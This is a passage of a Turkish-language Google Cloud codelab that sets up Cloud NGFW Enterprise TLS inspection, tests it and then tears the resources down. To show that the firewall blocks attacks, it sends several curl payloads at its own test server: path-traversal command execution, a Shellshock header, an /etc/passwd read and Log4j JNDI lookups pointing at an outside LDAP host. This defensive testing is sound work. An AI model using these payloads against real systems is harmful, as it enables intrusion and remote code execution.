Sunucu sertifikanız Kök CA kullanılarak imzalandığından, yukarıdaki komutlar güven deposunun bir parçası olarak Kök CA sertifikanızı içeriyordu. Bu, TLS politikanızda excludedPublicCaSet'in false değerine ayarlı olması durumunda, güvenlik duvarının Genel CA'lara ek olarak Kök CA'nız tarafından imzalanmış tüm sertifikalara da güveneceği anlamına gelir.

Güven yapılandırmasının içeriğini kontrol edin.

cat trust_config.yaml 

Örnek Çıkış:

Sertifikanın girinti hizalamasına çok dikkat edin. Tam olarak bu biçime uygun olmalıdır.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Güven yapılandırmasını içe aktarın:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

TLS Politikası YAML dosyasını güven yapılandırmasını içerecek şekilde güncelleyin:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Güncellenen TLS Politikasını içe aktarın:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. E/W TLS Denetimini Doğrulama

D/W trafiğini güncellenmiş güven yapılandırmasıyla test etmek için istemciye SSH geri gönderin:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Sunucuya örnek TLS isteğini çalıştırın:

curl https://$target_privateip --max-time 2

Aşağıdaki çıkışı almaya devam ederseniz güncellemelerin uygulanmasını bekleyin.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Beklenen çıkış:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Sunucuya kötü amaçlı test trafiği gönder:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Beklenen çıkış:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Aşağıdaki beklenen çıkışa göre hiçbir yanıt alınmadı. Bu, örnek saldırıların şu anda E/W için engellendiğini gösteriyor.

13. Günlük Kaydı

Logging'e (Günlük Kaydı) gidin > Günlük Gezgini'ni kullanmak için aşağıdaki filtreyi girin ve günlükleri sorgulayın. [PROJECT_ID] kısmını proje kimliğinizle değiştirin:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise günlük girişleri, aşağıdakine benzer şekilde görünecektir:

5b68cc1063c0f4bd.png

Günlük girişlerini genişletin ve istemci sanal makinesinden sunucuya gönderilen saldırıların tanımlanıp engellendiğini unutmayın (aşağıdaki ekran görüntüsüne göre Apache Log4j Uzak Kod Yürütme Güvenlik Açığı).

478f18f8481e90ed.png

Kötü amaçlı istekleri engellemek için Cloud NGFW Enterprise'ı TLS Denetimi ile başarıyla dağıttınız.

Temizleme adımları için bir sonraki bölüme geçin.

14. Temizleme adımları

Temel Kurulum Temizleme

Örnekleri kaldırın:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

tagAdmin ve tagUsers rolleri değiştirilmişse if aşağıdaki adımları uygulayın:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Etiket anahtarını ve değerlerini kaldırın:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Cloud Firewall Ağ Politikası'nı ve ilişkilendirmeyi kaldırın:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router'ı ve Cloud NAT'yi silin:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Ayrılmış IP adreslerini silin:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Güvenlik Duvarı SPG, İlişkilendirme ve TLS Temizleme

Güvenlik Profili Grubu ve Tehdit Profili'ni şu sırayla silin:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Cloud Firewall uç nokta ilişkilendirmesini silin:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Cloud Firewall uç noktasını silin. Bu işlem yaklaşık 20 dakika sürebilir:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

İsteğe bağlı olarak, aşağıdaki komutu çalıştırarak Cloud NGFW uç noktasının silindiğini onaylayın:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Uç noktanın durumu şöyle görünmelidir:

STATE: DELETING

İşlem tamamlandığında, uç nokta artık listelenmez.

TLS Politikası ve Güven Yapılandırması'nı şu sırayla silin:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Kök CA ve CA Havuzunu devre dışı bırakın ve silin:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Alt Ağ ve VPC Temizleme

Son olarak, alt ağı ve VPC ağını silin:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Tebrikler!

Tebrikler, Doğu-Batı için Cloud NGFW Enterprise ve Kuzeye Giden TLS Denetimi codelab'ini başarıyla tamamladınız.